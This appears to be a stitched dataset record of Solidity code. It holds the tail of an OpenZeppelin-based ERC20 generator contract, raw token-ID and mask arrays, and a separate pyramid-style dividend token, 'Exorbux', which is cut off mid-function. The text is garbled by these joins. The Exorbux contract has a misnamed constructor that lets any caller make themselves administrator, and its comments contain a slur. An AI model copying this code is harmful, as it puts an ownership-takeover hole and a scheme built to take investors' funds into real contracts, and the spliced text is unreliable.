function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor(string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") {
constructor(
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") {
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2382,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
19204,
2038,
2042,
7013,
2478,
16770,
1024,
1013,
1013,
6819,
9284,
22311,
27108,
2072,
1012,
21025,
2705,
12083,
1012,
22834,
1013,
9413,
2278,
11387,
1011,
13103,
1013,
1008,
1008,
3602,
1024,
1000,
3206,
3120,
3642,
20119,
1006,
2714,
2674,
1007,
1000,
2965,
2008,
2023,
19204,
2003,
2714,
2000,
2060,
19204,
2015,
7333,
1008,
2478,
1996,
2168,
13103,
1012,
2009,
2003,
2025,
2019,
3277,
1012,
2009,
2965,
2008,
2017,
2180,
1005,
1056,
2342,
2000,
20410,
2115,
3120,
3642,
2138,
1997,
1008,
2009,
2003,
2525,
20119,
1012,
1008,
1008,
5860,
19771,
5017,
1024,
13103,
1005,
1055,
3166,
2003,
2489,
1997,
2151,
14000,
4953,
1996,
19204,
1998,
1996,
2224,
2008,
2003,
2081,
1997,
2009,
1012,
1008,
1996,
2206,
3642,
2003,
3024,
2104,
10210,
6105,
1012,
3087,
2064,
2224,
2009,
2004,
2566,
2037,
3791,
1012,
1008,
1996,
13103,
1005,
1055,
3800,
2003,
2000,
2191,
2111,
2583,
2000,
19204,
4697,
2037,
4784,
2302,
16861,
2030,
7079,
2005,
2009,
1012,
1008,
3120,
3642,
2003,
2092,
7718,
1998,
10843,
7172,
2000,
5547,
3891,
1997,
12883,
1998,
2000,
8970,
2653,
20600,
2015,
1012,
1008,
4312,
1996,
5309,
1997,
19204,
2015,
7336,
1037,
2152,
3014,
1997,
3891,
1012,
2077,
13868,
19204,
2015,
1010,
2009,
2003,
6749,
2000,
1008,
5362,
21094,
2035,
1996,
2592,
1998,
10831,
6851,
1999,
19204,
3954,
1005,
1055,
3785,
1012,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.20;
/*
-------------------------------------------------------------------------------------------------------
Website: https://exorbux.com
Exchange (We recomand to use MetaMask or TrustWallet): https://exorbux.com/exchange
Twitter: https://twitter.com/exorbux
Telegram Group: https://t.me/exorbuxgroup
Telegram Announcement : https://t.me/exorbuxcom
-------------------------------------------------------------------------------------------------------
Exorbux
Exorbux Earn Passive Ethereum.
- Buys - 35% fee goes to all current token holders.
- Sells - 15% fee to all current tokens holders. And it’s lower because you shouldn’t have to pay the sane fee exiting. You deserve more.
- Transfers - 0% fee! We have plans for games and we don't want that to be an obstacle!
- Masternode - you get 7% from deposit of all players who enter using your Masternode .
*/
contract Exorbux {
/*=================================
= MODIFIERS =
=================================*/
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// administrators can:
// -> change the name of the contract
// -> change the name of the token
// -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
// they CANNOT:
// -> take funds
// -> disable withdrawals
// -> kill the contract
// -> change the price of tokens
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
// ensures that the first tokens in the contract will be equally distributed
// meaning, no divine dump will be ever possible
// result: healthy longevity.
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
// are we still in the vulnerable phase?
// if so, enact anti early whale protocol
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
// is the customer in the ambassador list?
ambassadors_[_customerAddress] == true &&
// does the customer purchase exceed the max ambassador quota?
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_
);
// updated the accumulated quota
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
// execute
_;
} else {
// in case the ether count drops low, the ambassador phase won't reinitiate
onlyAmbassadors = false;
_;
}
}
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "Exorbux";
string public symbol = "EXB";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 35; // 35% to enter our community
uint8 constant internal refferalFee_ = 20; // 20% from enter fee divs or 7% for each invite, great for inviting new members on Exorbux
uint8 constant internal exitFee_ = 15; // 15% for selling
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// proof of stake (defaults at 100 tokens)
uint256 public stakingRequirement = 100e18;
// ambassador program
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
uint256 constant internal ambassadorQuota_ = 20 ether;
// referral program
mapping(address => uint256) internal referrals;
mapping(address => bool) internal isUser;
address[] public usersAddresses;
/*================================
= DATASETS =
================================*/
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
// administrator list (see above on what they can do)
mapping(address => bool) public administrators;
// when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
bool public onlyAmbassadors = true;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
function Exorbuxcom()
public
{
// add administrators here with their wallets
// bungalogic
// Website developer, concept and design. Community
administrators[0x2A02F9e9a7203717361A00E53158D85b4B3Cb8DB] = true;
ambassadors_[0x2A02F9e9a7203717361A00E53158D85b4B3Cb8DB] = true;
// clumsier
// Solidity Developer, website, EXB
administrators[msg.sender] = true;
ambassadors_[msg.sender] = true;
}
/**
* Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
*/
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
/**
* Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
/* Converts all of caller's dividends to tokens. */
function reinvest() onlyStronghands() public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/* Alias of sell() and withdraw(). */
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/* Withdraws all of the callers earnings. */
function withdraw() onlyStronghands() public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/* Liquifies tokens to ethereum. */
function sell(uint256 _amountOfTokens) onlyBagholders() public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/* Transfer tokens from the caller to a new holder. * No fee! */
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// ( we dont want whale premines )
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
/**
* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function referralsOf(address _customerAddress)
public
view
returns(uint256)
{
return referrals[_customerAddress];
}
function totalUsers()
public
view
returns(uint256)
{
return usersAddresses.length;
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
